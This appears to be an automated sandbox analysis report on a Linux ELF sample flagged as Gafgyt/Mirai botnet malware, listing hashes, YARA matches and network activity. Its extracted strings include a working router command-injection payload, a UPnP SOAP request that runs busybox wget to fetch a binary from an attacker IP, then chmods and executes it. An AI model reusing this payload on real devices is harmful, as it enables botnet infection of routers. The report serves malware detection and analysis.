Linux Analysis Report
17CiAkKMyC.elf

Overview

General Information

Sample name: 17CiAkKMyC.elf
renamed because original name is a hash value
Original sample name: 56678e12e615efcf3b48d15c66b48261.elf
Analysis ID: 1530971
MD5: 56678e12e615efcf3b48d15c66b48261
SHA1: 8c6e836b1481b6fcfb727db28aa47ad9ee81954b
SHA256: 3ec2220ac979688ea252f4bd6a8890593d4466055cc3dadebc0a02893a3dd6c4
Tags: 32elfgafgyt
Infos:

Detection

Gafgyt, Mirai
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 17CiAkKMyC.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 17CiAkKMyC.elf ReversingLabs: Detection: 57%
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: 17CiAkKMyC.elf String found in binary or memory: http://185.196.10.215/atp%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: 17CiAkKMyC.elf String found in binary or memory: http://185.196.10.215/bins/mips
Source: 17CiAkKMyC.elf String found in binary or memory: http://185.196.10.215/bins/mips;
Source: 17CiAkKMyC.elf String found in binary or memory: http://185.196.10.215/bins/x86
Source: 17CiAkKMyC.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: 17CiAkKMyC.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 17CiAkKMyC.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://185.196.10.215/bins/mips; /bin/busybox chmod 777 * atp.mips; ./atp.mips huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: classification engine Classification label: mal96.troj.linELF@0/0@2/0
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 5468) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3 Jump to behavior
Source: /usr/bin/dash (PID: 5469) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3 Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Gafgyt
Source: Yara match File source: 17CiAkKMyC.elf, type: SAMPLE
Yara detected Mirai
Source: Yara match File source: 17CiAkKMyC.elf, type: SAMPLE

Remote Access Functionality
barindex
Yara detected Gafgyt
Source: Yara match File source: 17CiAkKMyC.elf, type: SAMPLE
Yara detected Mirai
Source: Yara match File source: 17CiAkKMyC.elf, type: SAMPLE
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.125.190.26
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true